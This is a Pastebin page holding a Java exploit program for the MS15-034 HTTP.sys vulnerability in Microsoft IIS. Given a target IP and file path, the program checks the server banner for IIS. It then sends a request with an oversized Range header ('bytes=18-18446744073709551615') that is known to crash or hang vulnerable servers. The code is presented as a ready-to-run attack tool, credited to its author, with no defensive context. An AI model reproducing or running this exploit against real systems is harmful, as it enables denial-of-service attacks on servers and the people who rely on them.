Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Exploit By Mr.8ThBiT
- */
- package net.x8thbit.exploits;
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStreamReader;
- import java.io.PrintWriter;
- import java.net.InetAddress;
- import java.net.Socket;
- /**
- *
- * @author 8ThBiT
- */
- public class ms15034 {
- static String ip;
- public static void main(String[] args) {
- if (args.length < 2){
- System.out.println("Usage : MS15-034.jar 127.0.0.1 /index.htm");
- System.exit(1);
- }
- ip = args[0];
- String file = args[1];
- String Result = SendPacket("GET / HTTP/1.0\r\n\r\n");
- if(!Result.contains("Microsoft-IIS")){
- System.out.println("it's not IIS Server");
- System.exit(1);
- }
- System.out.println("IIS Server Found");
- System.out.println("Sending Payload");
- Result = null ;
- String Packet1 = "GET " +file + " HTTP/1.1\r\nHost: irrelevent\r\nRange: bytes=18-18446744073709551615\r\n\r\n";
- String Result1 = SendPacket(Packet1);
- System.out.println("Payload has been sent");
- }
- private static String SendPacket(String Packet){
- Socket client = null;
- try{
- client = new Socket(InetAddress.getByName(ip), 80);
- }catch(IOException e ){
- System.out.println("Unknown Host");
- System.exit(1);
- }
- try{
- PrintWriter pw = new PrintWriter(client.getOutputStream());
- pw.print(Packet);
- pw.flush();
- BufferedReader br = new BufferedReader(new InputStreamReader(client.getInputStream()));
- String t;
- String Page = "" ;
- while((t = br.readLine()) != null){
- Page += t;
- }
- br.close();
- return Page;
- }catch(IOException e){
- System.out.println(e.getMessage());
- System.exit(1);
- return "" ;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement